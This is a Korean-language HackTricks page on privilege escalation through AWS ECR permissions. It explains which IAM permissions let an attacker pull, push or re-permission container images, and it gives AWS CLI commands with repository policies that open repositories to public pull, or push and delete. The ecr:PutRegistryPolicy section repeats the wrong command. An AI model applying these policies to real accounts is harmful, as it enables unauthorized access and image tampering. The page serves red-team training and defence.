AWS - ECR Privesc

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

• 구독 요금제를 확인하세요!

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• HackTricks 및 HackTricks Cloud 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

ecr:GetAuthorizationToken 및 ecr:BatchGetImage 권한을 가진 공격자는 ECR에 로그인하고 이미지를 다운로드할 수 있습니다.

이미지를 다운로드하는 방법에 대한 자세한 정보는 다음을 참조하세요:

AWS - ECR Post Exploitation

잠재적 영향: 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

위 권한을 모두 가진 공격자는 ECR에 로그인하고 이미지를 업로드할 수 있습니다. 이를 통해 해당 이미지가 사용되는 다른 환경으로의 권한 상승이 가능합니다.

새 이미지를 업로드하거나 업데이트하는 방법을 알아보려면 다음을 확인하세요:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

이전 섹션과 유사하지만 공개 저장소용입니다.

ecr:SetRepositoryPolicy

이 권한을 가진 공격자는 저장소 정책을 변경하여 자신에게 (또는 모두에게) 읽기/쓰기 액세스를 부여할 수 있습니다. 예를 들어, 이 예제에서는 모든 사람에게 읽기 액세스가 부여됩니다.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json의 내용:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ecr:GetDownloadUrlForLayer",
                "ecr:BatchGetImage",
                "ecr:BatchCheckLayerAvailability"
            ],
            "Resource": "*"
        }
    ]
}

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

이전 섹션과 유사하지만 공개 저장소(public repositories)에 대한 내용입니다. 공격자는 ECR Public 저장소의 저장소 정책(repository policy)을 수정하여 무단으로 공개 액세스를 허용하거나 권한을 상승시킬 수 있습니다.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

잠재적 영향: ECR Public 저장소에 대한 무단 공개 액세스로 인해 사용자가 이미지를 푸시하거나 끌어오거나 삭제할 수 있음.

ecr:PutRegistryPolicy

이 권한을 가진 공격자는 레지스트리 정책을 변경하여 자신, 자신의 계정 또는 심지어 모든 사용자에게 읽기/쓰기 액세스를 부여할 수 있음.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• 구독 요금제를 확인하세요!

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• 해킹 팁을 공유하려면 HackTricks 및 HackTricks Cloud 깃헙 저장소에 PR을 제출하세요.